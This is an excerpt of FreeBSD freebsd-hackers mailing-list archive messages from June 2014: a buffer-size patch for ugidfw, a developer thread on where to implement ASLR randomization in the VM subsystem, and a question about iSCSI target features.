diff --git a/usr.sbin/ugidfw/ugidfw.c b/usr.sbin/ugidfw/ugidfw.c index 977922a..515df16 100644 --- a/usr.sbin/ugidfw/ugidfw.c +++ b/usr.sbin/ugidfw/ugidfw.c @@ -46,6 +46,8 @@ __FBSDID("$FreeBSD$"); #include #include =20 +#define UGIDFW_BUFSIZ (BUFSIZ*2) + void add_rule(int argc, char *argv[]); void list_rules(void); void remove_rule(int argc, char *argv[]); @@ -71,22 +73,22 @@ usage(void) void add_rule(int argc, char *argv[]) { - char errstr[BUFSIZ], charstr[BUFSIZ]; + char errstr[UGIDFW_BUFSIZ], charstr[UGIDFW_BUFSIZ]; struct mac_bsdextended_rule rule; int error, rulenum; =20 - error =3D bsde_parse_rule(argc, argv, &rule, BUFSIZ, errstr); + error =3D bsde_parse_rule(argc, argv, &rule, UGIDFW_BUFSIZ, errstr); if (error) { warnx("%s", errstr); return; } =20 - error =3D bsde_add_rule(&rulenum, &rule, BUFSIZ, errstr); + error =3D bsde_add_rule(&rulenum, &rule, UGIDFW_BUFSIZ, errstr); if (error) { warnx("%s", errstr); return; } - if (bsde_rule_to_string(&rule, charstr, BUFSIZ) =3D=3D -1) + if (bsde_rule_to_string(&rule, charstr, UGIDFW_BUFSIZ) =3D=3D -1) warnx("Added rule, but unable to print string."); else printf("%d %s\n", rulenum, charstr); @@ -95,25 +97,25 @@ add_rule(int argc, char *argv[]) void list_rules(void) { - char errstr[BUFSIZ], charstr[BUFSIZ]; + char errstr[UGIDFW_BUFSIZ], charstr[UGIDFW_BUFSIZ]; struct mac_bsdextended_rule rule; int error, i, rule_count, rule_slots; =20 - rule_slots =3D bsde_get_rule_slots(BUFSIZ, errstr); + rule_slots =3D bsde_get_rule_slots(UGIDFW_BUFSIZ, errstr); if (rule_slots =3D=3D -1) { warnx("unable to get rule slots; mac_bsdextended.ko " "may not be loaded"); errx(1, "bsde_get_rule_slots: %s", errstr); } =20 - rule_count =3D bsde_get_rule_count(BUFSIZ, errstr); + rule_count =3D bsde_get_rule_count(UGIDFW_BUFSIZ, errstr); if (rule_count =3D=3D -1) errx(1, "bsde_get_rule_count: %s", errstr); =20 printf("%d slots, %d rules\n", rule_slots, rule_count); =20 for (i =3D 0; i < rule_slots; i++) { - error =3D bsde_get_rule(i, &rule, BUFSIZ, errstr); + error =3D bsde_get_rule(i, &rule, UGIDFW_BUFSIZ, errstr); switch (error) { case -2: continue; @@ -124,7 +126,7 @@ list_rules(void) break; } =20 - if (bsde_rule_to_string(&rule, charstr, BUFSIZ) =3D=3D -1) + if (bsde_rule_to_string(&rule, charstr, UGIDFW_BUFSIZ) =3D=3D -1) warnx("unable to translate rule %d to string", i); else printf("%d %s\n", i, charstr); @@ -134,7 +136,7 @@ list_rules(void) void set_rule(int argc, char *argv[]) { - char errstr[BUFSIZ]; + char errstr[UGIDFW_BUFSIZ]; struct mac_bsdextended_rule rule; long value; int error, rulenum; @@ -152,13 +154,13 @@ set_rule(int argc, char *argv[]) =20 rulenum =3D value; =20 - error =3D bsde_parse_rule(argc - 1, argv + 1, &rule, BUFSIZ, errstr); + error =3D bsde_parse_rule(argc - 1, argv + 1, &rule, UGIDFW_BUFSIZ, errst= r); if (error) { warnx("%s", errstr); return; } =20 - error =3D bsde_set_rule(rulenum, &rule, BUFSIZ, errstr); + error =3D bsde_set_rule(rulenum, &rule, UGIDFW_BUFSIZ, errstr); if (error) { warnx("%s", errstr); return; @@ -168,7 +170,7 @@ set_rule(int argc, char *argv[]) void remove_rule(int argc, char *argv[]) { - char errstr[BUFSIZ]; + char errstr[UGIDFW_BUFSIZ]; long value; int error, rulenum; char *endp; @@ -185,7 +187,7 @@ remove_rule(int argc, char *argv[]) =20 rulenum =3D value; =20 - error =3D bsde_delete_rule(rulenum, BUFSIZ, errstr); + error =3D bsde_delete_rule(rulenum, UGIDFW_BUFSIZ, errstr); if (error) warnx("%s", errstr); } --61jdw2sOBCFtR2d/-- --S1BNGpv0yoYahz37 Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iQIcBAEBAgAGBQJTrKxfAAoJEGqEZY9SRW7uHkMP/3ej6m2k7bpVH9gnN3Lz+OrT xXWuqbizi2V+WvoFEQHYT6i+X/mBqiZxTs6Z3LhhrEquDyecWwyIhvCNIRTcX0Jc f8lwPUC1BzPLnTtia0c94gLqxv3SJwHLBodO7slJLFfK6rny9QIVUvhOCqQO7uyM 4l09Y9jSz2oY/e4gY1aC45DivUTrWl0ZuPcsRnwQb60rbnZuY45zOMQfwWKaTiA9 vZ0HiHJtg2twTFWF4YZS1Pao/yv6SnWZOg2Vz7Z/uL3dDNeOfAOgf0CTnV64mOHd Qpk+GIqHghorVyMWfJK9wdZeaGjna+EXX18TBPLbYjPVxNzjOlfN+Bq/FEPT4EfB hwgsFrlRsmaRi7nUyk/UG84Yc9t1R7m9uXl5Q6ppSAA4uS+1DMJ/SmkotPDAAR9f ocnwkVa2lavV0TdBipX1VIebOcyBbF00XropW3YWhesIwZ+/MJrCvzKpB10qXb4U wPuHryr413f10iOeh+ODZBrFgAmj7b/GXB/IiymQC4Itg0sxlUm2bllS6RiSzdm8 +9t7xa2VvRHHdPULH1B/rrCS8+IH7q+kpDACPNCOOMzZILTQ9nDoEXhTS75KsJzJ QVVARtZ7+zeeuSmUXmZtDPcJbmEEQMlpWZ4hMf9O/SFLZWVFhDDoNwTHQHjHXORi 2HZz4RXtle77klp8oigy =EiJx -----END PGP SIGNATURE----- --S1BNGpv0yoYahz37-- From owner-freebsd-hackers@FreeBSD.ORG Thu Jun 26 23:51:07 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id F2099F24; Thu, 26 Jun 2014 23:51:06 +0000 (UTC) Received: from mail-ob0-x22b.google.com (mail-ob0-x22b.google.com [IPv6:2607:f8b0:4003:c01::22b]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id B1BC5268B; Thu, 26 Jun 2014 23:51:06 +0000 (UTC) Received: by mail-ob0-f171.google.com with SMTP id nu7so4798198obb.16 for ; Thu, 26 Jun 2014 16:51:06 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=jonqx7usY9hytMnogVYV7pUg7SZ7FL5dfb3869UYZtw=; b=DV4hYfoO1vAwLKE8uSk3F97CI4zogoofls+HHKHyI9B4J2JBBN7L/IT14htT/G2KgB lzynFSCeQ4sxg1AX9xiPUc4aAfQSnn/o4xGFK7WPDxR4EDGvFb2PuycWqgzb4bxLw8WD gl/LYDZJ5XanEn7nlan6HMr1jxGhpLrbrQxvJ773NAn4ao5D1hqBbo/Pgnp4Qgi1gdEe +RsgJzd6+dqPYDbLhcS0cGcHs3MKXLIk5yWEu+UXH+1xt3Jd8ucLsRv7USCeJBWrXHER uF2koRUFPbzIPTtfTworrTZmkXv20JiSVWVjifIfQJ2RsrFbmZtwT0pkAGVVxkUVWU4v 0lCA== MIME-Version: 1.0 X-Received: by 10.60.123.103 with SMTP id lz7mr10546765oeb.18.1403826665961; Thu, 26 Jun 2014 16:51:05 -0700 (PDT) Received: by 10.182.216.197 with HTTP; Thu, 26 Jun 2014 16:51:05 -0700 (PDT) In-Reply-To: <20140626232727.GB1825@pwnie.vrt.sourcefire.com> References: <20140626232727.GB1825@pwnie.vrt.sourcefire.com> Date: Fri, 27 Jun 2014 01:51:05 +0200 Message-ID: Subject: Re: Help With ASLR From: Oliver Pinter To: Shawn Webb Content-Type: text/plain; charset=ISO-8859-1 Cc: pageexec@freemail.hu, freebsd-hackers@freebsd.org, hunger@hunger.hu, kib@freebsd.org, alc@rice.edu X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 26 Jun 2014 23:51:07 -0000 CC PaXTeam, Hunger On 6/27/14, Shawn Webb wrote: > Hey All, > > I've exchanged a few helpful emails with kib@. He has glanced over the > ASLR patch we have against 11-CURRENT (which is also attached to this > email as a reference point). He has suggested some changes to the VM > subsystem that I'm having trouble getting my head wrapped around. > > Essentially, he suggests that instead of doing the randomization in > various places like the ELF loader and sys_mmap, we should modify > vm_map_find() in sys/vm/vm_map.c to apply the randomization there. > > Here's his suggestion in full (I hope he doesn't mind me directly > quoting him): > > The mapping address randomization can only be performed in the > vm_map_find(). This is the place where usermode mapping flags are > already parsed, and the real decision for the placement is done, with > all the contextual information collected, the fixed requests are not > passed there. Doing the 'randomization' in vm_mmap() means that the > mmap command must be parsed twice, which presented patch fails to do > in any sane way. Only mappings in the usermode maps should be > randomized. > > Current patch does not randomize the mapping location at all, it only > randomizes the hint address passed from the userspace, which is > completely useless. It also fails to correct the address to honour > the placement flags like MAP_32BIT or MAP_ALIGNMENT_MASK. What must > be done is vm_map_find() requesting vm_map_findspace() for the address > hole of the size of the requested mapping + (number of address bits to > randomize << PAGE_SHIFT). Then, the rng value should be obtained and > final location for the mapping calculated as return value + (rng << > PAGE_SHIFT). > > If no address space hole exists which can satisfy the enlarged > request, either a direct fallback to the initial length should be > performed (I prefer this), or exponential decrease of the length up to > the initial size done, and findspace procedure repeated. > > Also, the vm_map_find() knows about the superpages hint for the > mapping being performed, which allows to not break superpages. When > superpage-aligned mapping is requested, SUPERPAGE_SHIFT (available > from pagesizes[1]) should be used instead of PAGE_SHIFT in the formula > above, and probably, a different amount of address bits in the page > table page level 2 to randomize, selected. > === end of kib@ suggestions === > > I have a few concerns, though: > > 1) vm_map_find is also used when loading certain bits of data in the > kernel (like KLDs, for example); > 2) It's not possible to tell in vm_map_find if we're creating a mapping > for the stack, the execbase, or any other suitable mmap call. We apply > ASLR differently based on those three aspects; > 3) vm_map_find is also used in initializing the VM system upon boot. > What impacts would this cause? > > I would really appreciate any feedback. Thank you in advance for any > help or guidance. > > Thanks, > > Shawn > From owner-freebsd-hackers@FreeBSD.ORG Fri Jun 27 03:32:13 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C5487509; Fri, 27 Jun 2014 03:32:13 +0000 (UTC) Received: from pp1.rice.edu (proofpoint1.mail.rice.edu [128.42.201.100]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 8D62C28C5; Fri, 27 Jun 2014 03:32:12 +0000 (UTC) Received: from pps.filterd (pp1.rice.edu [127.0.0.1]) by pp1.rice.edu (8.14.5/8.14.5) with SMTP id s5R3W6In032615; Thu, 26 Jun 2014 22:32:06 -0500 Received: from mh11.mail.rice.edu (mh11.mail.rice.edu [128.42.199.30]) by pp1.rice.edu with ESMTP id 1mqfmxh717-1; Thu, 26 Jun 2014 22:32:05 -0500 X-Virus-Scanned: by amavis-2.7.0 at mh11.mail.rice.edu, auth channel Received: from 108-254-203-201.lightspeed.hstntx.sbcglobal.net (108-254-203-201.lightspeed.hstntx.sbcglobal.net [108.254.203.201]) (using TLSv1 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) (Authenticated sender: alc) by mh11.mail.rice.edu (Postfix) with ESMTPSA id 2B3F04C0096; Thu, 26 Jun 2014 22:32:05 -0500 (CDT) Message-ID: <53ACE5B4.8070700@rice.edu> Date: Thu, 26 Jun 2014 22:32:04 -0500 From: Alan Cox User-Agent: Mozilla/5.0 (X11; FreeBSD i386; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Shawn Webb , freebsd-hackers@freebsd.org Subject: Re: Help With ASLR References: <20140626232727.GB1825@pwnie.vrt.sourcefire.com> In-Reply-To: <20140626232727.GB1825@pwnie.vrt.sourcefire.com> X-Enigmail-Version: 1.6 X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 spamscore=0 suspectscore=3 phishscore=0 adultscore=0 bulkscore=0 classifier=spam adjust=0 reason=mlx scancount=1 engine=7.0.1-1402240000 definitions=main-1406270041 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: kib@freebsd.org, Oliver Pinter X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 27 Jun 2014 03:32:13 -0000 On 06/26/2014 18:27, Shawn Webb wrote: > Hey All, > > I've exchanged a few helpful emails with kib@. He has glanced over the > ASLR patch we have against 11-CURRENT (which is also attached to this > email as a reference point). He has suggested some changes to the VM > subsystem that I'm having trouble getting my head wrapped around. > > Essentially, he suggests that instead of doing the randomization in > various places like the ELF loader and sys_mmap, we should modify > vm_map_find() in sys/vm/vm_map.c to apply the randomization there. > > Here's his suggestion in full (I hope he doesn't mind me directly > quoting him): > > The mapping address randomization can only be performed in the > vm_map_find(). This is the place where usermode mapping flags are > already parsed, and the real decision for the placement is done, with > all the contextual information collected, the fixed requests are not > passed there. Doing the 'randomization' in vm_mmap() means that the > mmap command must be parsed twice, which presented patch fails to do > in any sane way. Only mappings in the usermode maps should be > randomized. > > Current patch does not randomize the mapping location at all, it only > randomizes the hint address passed from the userspace, which is > completely useless. Kostik, I'm not sure that I understand what you're saying here. The randomly generated offset is added to the variable "addr" after this block of code has been executed: } else { /* * XXX for non-fixed mappings where no hint is provided or * the hint would fall in the potential heap space, * place it after the end of the largest possible heap. * * There should really be a pmap call to determine a reasonable * location. */ PROC_LOCK(td->td_proc); if (addr == 0 || (addr >= round_page((vm_offset_t)vms->vm_taddr) && addr < round_page((vm_offset_t)vms->vm_daddr + lim_max(td->td_proc, RLIMIT_DATA)))) addr = round_page((vm_offset_t)vms->vm_daddr + lim_max(td->td_proc, RLIMIT_DATA)); PROC_UNLOCK(td->td_proc); } So, the point at which the eventual call to vm_map_findspace() starts looking for free space is determined by the randomization, and thus the chosen address will be influenced by the randomization. The first mmap() that I do in one execution of the program will be unlikely to have the same address in the next execution. That said, I think that this block of code would be a better place for the pax_aslr_mmap() call than were it currently resides. Moving it here would address the problem with MAP_32BIT mentioned below. > ... It also fails to correct the address to honour > the placement flags like MAP_32BIT or MAP_ALIGNMENT_MASK. I think that MAP_32BIT is broken, but not MAP_ALIGNMENT_MASK. Whatever address the patch causes to be passed into vm_map_find(), we will round it up as necessary to achieve the requested alignment. In some sense, the real effect of the map alignment directives, including automatic alignment for superpages, is going to be to chop off address bits that Shawn has worked to randomize. More on this below. See [*]. > ... What must > be done is vm_map_find() requesting vm_map_findspace() for the address > hole of the size of the requested mapping + (number of address bits to > randomize << PAGE_SHIFT). Then, the rng value should be obtained and > final location for the mapping calculated as return value + (rng << > PAGE_SHIFT). This seems to be trying to implement a different and more complex scheme than what Shawn is trying to implement. Specifically, suppose that we have a program that creates 5 mappings with mmap(2). Call them M1, M2, M3, M4, and M5, respectively. Shawn is perfectly happy for M1 to always come before M2 in the address space, M2 to always come before M3, and so on. He's not trying to permute their order in the address space from one execution of the program to the next. He's only trying to change their addresses from one execution to the next. The impression that I got during the BSDCan presentation was that this is what other operating systems were doing, and it was considered strike a reasonable balance between run-time overhead and the security benefits. > > If no address space hole exists which can satisfy the enlarged > request, either a direct fallback to the initial length should be > performed (I prefer this), or exponential decrease of the length up to > the initial size done, and findspace procedure repeated. > > Also, the vm_map_find() knows about the superpages hint for the > mapping being performed, which allows to not break superpages. When > superpage-aligned mapping is requested, SUPERPAGE_SHIFT (available > from pagesizes[1]) should be used instead of PAGE_SHIFT in the formula > above, and probably, a different amount of address bits in the page > table page level 2 to randomize, selected. [*] I agree with this last observation. I mentioned this possibility to Shawn after his talk. On machines where pagesizes[1] is defined, i.e., non-zero, it makes little sense to randomize the low-order address bits that will be "rounded away" by aligning to pagesizes[1] boundary. > > === end of kib@ suggestions === > > I have a few concerns, though: > > 1) vm_map_find is also used when loading certain bits of data in the > kernel (like KLDs, for example); > 2) It's not possible to tell in vm_map_find if we're creating a mapping > for the stack, the execbase, or any other suitable mmap call. We apply > ASLR differently based on those three aspects; > 3) vm_map_find is also used in initializing the VM system upon boot. > What impacts would this cause? > > I would really appreciate any feedback. Thank you in advance for any > help or guidance. Shawn, while I'm here, I'll mention that what you were doing with stacks in pax_aslr_mmap() seemed odd. Can you explain? From owner-freebsd-hackers@FreeBSD.ORG Fri Jun 27 07:02:39 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 14EF5500; Fri, 27 Jun 2014 07:02:39 +0000 (UTC) Received: from mail-oa0-x22c.google.com (mail-oa0-x22c.google.com [IPv6:2607:f8b0:4003:c02::22c]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id B4D9F2A08; Fri, 27 Jun 2014 07:02:38 +0000 (UTC) Received: by mail-oa0-f44.google.com with SMTP id i7so5215530oag.31 for ; Fri, 27 Jun 2014 00:02:38 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=YRQbkHS8haCq8pyxu/oSnnYvL2a7OC4z2wz6poa9y6k=; b=z88mDOmvhulogMIP0Y4/PFRlM7ld7N2G1HcH3KCIHJbumXqC9OcP10ay17WQdPzVfa 3I5pr1kHJBcc1fGAdVPeKELXfzffxWbuq6XTCeI5TJ3hAxAbCEB2AFD8hoErOoIa+uaO BUChxtTNRMCA1ytClblboUMrkvWxBh+uszWDwiH6Zqb0yfOGh7m4qemxVi4mtgI92B3u r5CYLShX7H85kAC/2icjHmQ7kCQrlLUxXqaQr8wx8XmF9UTShOwe2yXiRMpSYLTzhg0p TCR80jby+9xRNJZZKEwdDxiXe8QCVNpcWVOl8BGDG4kGest2hpiQBnXrcHHXMoraZV08 Om6Q== MIME-Version: 1.0 X-Received: by 10.60.120.98 with SMTP id lb2mr21059837oeb.52.1403852557948; Fri, 27 Jun 2014 00:02:37 -0700 (PDT) Received: by 10.182.216.197 with HTTP; Fri, 27 Jun 2014 00:02:37 -0700 (PDT) In-Reply-To: <53ACE5B4.8070700@rice.edu> References: <20140626232727.GB1825@pwnie.vrt.sourcefire.com> <53ACE5B4.8070700@rice.edu> Date: Fri, 27 Jun 2014 09:02:37 +0200 Message-ID: Subject: Re: Help With ASLR From: Oliver Pinter To: Alan Cox Content-Type: text/plain; charset=ISO-8859-1 Cc: pageexec@freemail.hu, freebsd-hackers@freebsd.org, kib@freebsd.org, Shawn Webb X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 27 Jun 2014 07:02:39 -0000 On 6/27/14, Alan Cox wrote: > On 06/26/2014 18:27, Shawn Webb wrote: >> Hey All, >> >> I've exchanged a few helpful emails with kib@. He has glanced over the >> ASLR patch we have against 11-CURRENT (which is also attached to this >> email as a reference point). He has suggested some changes to the VM >> subsystem that I'm having trouble getting my head wrapped around. >> >> Essentially, he suggests that instead of doing the randomization in >> various places like the ELF loader and sys_mmap, we should modify >> vm_map_find() in sys/vm/vm_map.c to apply the randomization there. >> >> Here's his suggestion in full (I hope he doesn't mind me directly >> quoting him): >> >> The mapping address randomization can only be performed in the >> vm_map_find(). This is the place where usermode mapping flags are >> already parsed, and the real decision for the placement is done, with >> all the contextual information collected, the fixed requests are not >> passed there. Doing the 'randomization' in vm_mmap() means that the >> mmap command must be parsed twice, which presented patch fails to do >> in any sane way. Only mappings in the usermode maps should be >> randomized. >> >> Current patch does not randomize the mapping location at all, it only >> randomizes the hint address passed from the userspace, which is >> completely useless. > > Kostik, I'm not sure that I understand what you're saying here. The > randomly generated offset is added to the variable "addr" after this > block of code has been executed: > > } else { > /* > * XXX for non-fixed mappings where no hint is provided or > * the hint would fall in the potential heap space, > * place it after the end of the largest possible heap. > * > * There should really be a pmap call to determine a > reasonable > * location. > */ > PROC_LOCK(td->td_proc); > if (addr == 0 || > (addr >= round_page((vm_offset_t)vms->vm_taddr) && > addr < round_page((vm_offset_t)vms->vm_daddr + > lim_max(td->td_proc, RLIMIT_DATA)))) > addr = round_page((vm_offset_t)vms->vm_daddr + > lim_max(td->td_proc, RLIMIT_DATA)); > PROC_UNLOCK(td->td_proc); > } > > So, the point at which the eventual call to vm_map_findspace() starts > looking for free space is determined by the randomization, and thus the > chosen address will be influenced by the randomization. The first > mmap() that I do in one execution of the program will be unlikely to > have the same address in the next execution. > > That said, I think that this block of code would be a better place for > the pax_aslr_mmap() call than were it currently resides. Moving it here > would address the problem with MAP_32BIT mentioned below. > > >> ... It also fails to correct the address to honour >> the placement flags like MAP_32BIT or MAP_ALIGNMENT_MASK. > > > I think that MAP_32BIT is broken, but not MAP_ALIGNMENT_MASK. Whatever > address the patch causes to be passed into vm_map_find(), we will round > it up as necessary to achieve the requested alignment. > > In some sense, the real effect of the map alignment directives, > including automatic alignment for superpages, is going to be to chop off > address bits that Shawn has worked to randomize. More on this below. > See [*]. > >> ... What must >> be done is vm_map_find() requesting vm_map_findspace() for the address >> hole of the size of the requested mapping + (number of address bits to >> randomize << PAGE_SHIFT). Then, the rng value should be obtained and >> final location for the mapping calculated as return value + (rng << >> PAGE_SHIFT). > > > This seems to be trying to implement a different and more complex scheme > than what Shawn is trying to implement. Specifically, suppose that we > have a program that creates 5 mappings with mmap(2). Call them M1, M2, > M3, M4, and M5, respectively. Shawn is perfectly happy for M1 to always > come before M2 in the address space, M2 to always come before M3, and so > on. He's not trying to permute their order in the address space from > one execution of the program to the next. He's only trying to change > their addresses from one execution to the next. The impression that I > got during the BSDCan presentation was that this is what other operating > systems were doing, and it was considered strike a reasonable balance > between run-time overhead and the security benefits. > > >> >> If no address space hole exists which can satisfy the enlarged >> request, either a direct fallback to the initial length should be >> performed (I prefer this), or exponential decrease of the length up to >> the initial size done, and findspace procedure repeated. >> >> Also, the vm_map_find() knows about the superpages hint for the >> mapping being performed, which allows to not break superpages. When >> superpage-aligned mapping is requested, SUPERPAGE_SHIFT (available >> from pagesizes[1]) should be used instead of PAGE_SHIFT in the formula >> above, and probably, a different amount of address bits in the page >> table page level 2 to randomize, selected. > > > [*] I agree with this last observation. I mentioned this possibility > to Shawn after his talk. On machines where pagesizes[1] is defined, > i.e., non-zero, it makes little sense to randomize the low-order address > bits that will be "rounded away" by aligning to pagesizes[1] boundary. > > >> >> === end of kib@ suggestions === >> >> I have a few concerns, though: >> >> 1) vm_map_find is also used when loading certain bits of data in the >> kernel (like KLDs, for example); >> 2) It's not possible to tell in vm_map_find if we're creating a mapping >> for the stack, the execbase, or any other suitable mmap call. We apply >> ASLR differently based on those three aspects; >> 3) vm_map_find is also used in initializing the VM system upon boot. >> What impacts would this cause? >> >> I would really appreciate any feedback. Thank you in advance for any >> help or guidance. > > Shawn, while I'm here, I'll mention that what you were doing with stacks > in pax_aslr_mmap() seemed odd. Can you explain? Alan, the original design of ASLR are there from PaXTeam: http://pax.grsecurity.net/docs/aslr.txt http://pax.grsecurity.net/docs/randmmap.txt > > > From owner-freebsd-hackers@FreeBSD.ORG Fri Jun 27 09:27:37 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id EA4F63F3; Fri, 27 Jun 2014 09:27:37 +0000 (UTC) Received: from stargate.chelsio.com (99-65-72-228.uvs.sntcca.sbcglobal.net [99.65.72.228]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id A20E02695; Fri, 27 Jun 2014 09:27:37 +0000 (UTC) Received: from nice.asicdesigners.com (nice.asicdesigners.com [10.192.160.7]) by stargate.chelsio.com (8.13.8/8.13.8) with ESMTP id s5R9Ranq028229; Fri, 27 Jun 2014 02:27:36 -0700 Received: from NICE.asicdesigners.com ([fe80::51b2:ba95:9d72:babc]) by nice.asicdesigners.com ([fe80::51b2:ba95:9d72:babc%15]) with mapi id 14.02.0247.003; Fri, 27 Jun 2014 02:27:36 -0700 From: Sreenivasa Honnur To: "freebsd-hackers@freebsd.org" Subject: FreeBSD iscsi target Thread-Topic: FreeBSD iscsi target Thread-Index: AQHPkeoHCJZMCop1pkesuBlodV6Y+w== Date: Fri, 27 Jun 2014 09:27:35 +0000 Message-ID: References: <20140626232727.GB1825@pwnie.vrt.sourcefire.com> <53ACE5B4.8070700@rice.edu> In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-cr-puzzleid: {AF9812F4-196F-4FB9-98A3-8B32AE9EE885} x-cr-hashedpuzzle: AZoh CVSo F0zC GcP3 ID8u IS8B JS8Y JUIr LaBk LjHd MUA7 NOp0 Ng6s P/sg UYhK Uwlw; 2; ZgByAGUAZQBiAHMAZAAtAGMAdQByAHIAZQBuAHQAQABmAHIAZQBlAGIAcwBkAC4AbwByAGcAOwBmAHIAZQBlAGIAcwBkAC0AaABhAGMAawBlAHIAcwBAAGYAcgBlAGUAYgBzAGQALgBvAHIAZwA=; Sosha1_v1; 7; {AF9812F4-196F-4FB9-98A3-8B32AE9EE885}; cwBoAG8AbgBuAHUAcgBAAGMAaABlAGwAcwBpAG8ALgBjAG8AbQA=; Fri, 27 Jun 2014 09:27:31 GMT;RgByAGUAZQBCAFMARAAgAGkAcwBjAHMAaQAgAHQAYQByAGcAZQB0AA== x-originating-ip: [10.193.190.128] Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Cc: freebsd-current Current X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 27 Jun 2014 09:27:38 -0000 Does freebsd iscsi target supports: 1. ACL (access control lists) 2. iSNS=20 3. Multiple connections per session 4. Dynamic Lun allocation/resize 5. Target redirection From owner-freebsd-hackers@FreeBSD.ORG Fri Jun 27 11:43:26 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 2B54BD5B for ; Fri, 27 Jun 2014 11:43:26 +0000 (UTC) Received: from h2.funkthat.com (gate2.funkthat.com [208.87.223.18]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client CN "funkthat.com", Issuer "funkthat.com" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id E4CE024CD for ; Fri, 27 Jun 2014 11:43:25 +0000 (UTC) Received: from h2.funkthat.com (localhost [127.0.0.1]) by h2.funkthat.com (8.14.3/8.14.3) with ESMTP id s5RBhJ1M075817 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 27 Jun 2014 04:43:19 -0700 (PDT) (envelope-from jmg@h2.funkthat.com) Received: (from jmg@localhost) by h2.funkthat.com (8.14.3/8.14.3/Submit) id s5RBhJFm075816; Fri, 27 Jun 2014 04:43:19 -0700 (PDT) (envelope-from jmg) Date: Fri, 27 Jun 2014 04:43:19 -0700 From: John-Mark Gurney To: "Michael W. Lucas" Subject: Re: gvinum status? Message-ID: <20140627114318.GE1560@funkthat.com> Mail-Followup-To: "Michael W. Lucas" , hackers@freebsd.org References: <20140625124802.GA61700@bewilderbeast.blackhelicopters.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140625124802.GA61700@bewilderbeast.blackhelicopters.org> User-Agent: Mutt/1.4.2.3i X-Operating-System: FreeBSD 7.2-RELEASE i386 X-PGP-Fingerprint: 54BA 873B 6515 3F10 9E88 9322 9CB1 8F74 6D3F A396 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ X-Resume: http://resnet.uoregon.edu/~gurney_j/resume.html X-TipJar: bitcoin:13Qmb6AeTgQecazTWph4XasEsP7nGRbAPE X-to-the-FBI-CIA-and-NSA: HI! HOW YA DOIN? can i haz chizburger? X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.2 (h2.funkthat.com [127.0.0.1]); Fri, 27 Jun 2014 04:43:19 -0700 (PDT) Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD 